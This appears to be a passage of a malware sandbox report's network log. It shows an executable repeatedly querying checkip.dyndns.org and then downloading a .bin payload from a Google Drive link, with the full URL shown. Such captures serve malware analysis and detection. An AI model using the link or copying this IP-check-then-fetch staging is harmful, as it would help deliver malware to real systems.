Jan 10, 2025 23:39:02.866861105 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49843	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:03.833195925 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:39:04.478317022 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49853	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:05.573251963 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:06.201462030 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49864	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:07.224889040 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:07.852210999 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49876	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:08.879765987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:09.514672995 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49890	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:10.488059044 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:11.114548922 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49904	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:12.132570982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:12.762007952 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49915	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:13.768699884 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:14.395376921 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49929	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:15.591123104 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:16.257596970 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49941	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:17.134722948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:17.773397923 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49953	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:18.734554052 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:19.379676104 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49965	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:20.383949995 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:21.011235952 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49977	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:21.963926077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:22.602320910 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49989	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:23.472474098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:24.118220091 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	50002	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:25.045470953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:25.674902916 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50009	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:26.631323099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:27.263161898 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	50011	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:28.124905109 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:28.780191898 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50013	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:29.664916039 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:30.321669102 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50015	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:31.162221909 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:31.818458080 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50017	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:32.731367111 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:39:33.374069929 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49735	216.58.206.46	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:38:47 UTC	216	OUT	GET /uc?export=download&id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 22:38:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 22:38:48 GMT Location: https://drive.usercontent.google.com/download?id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-xDazmH4HtM2z2jUnZ2UTmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49741	142.250.181.225	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:38:48 UTC	258	OUT	GET /download?id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 22:38:52 UTC	4939	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC7WnDDwbDws2umAz35vIU58JcDaZ4S068ha-pEF18y5y7Ox4oIrL0DHPsRKbYgbihBkixzXJ0Y Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="DULnmuMNsF48.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS 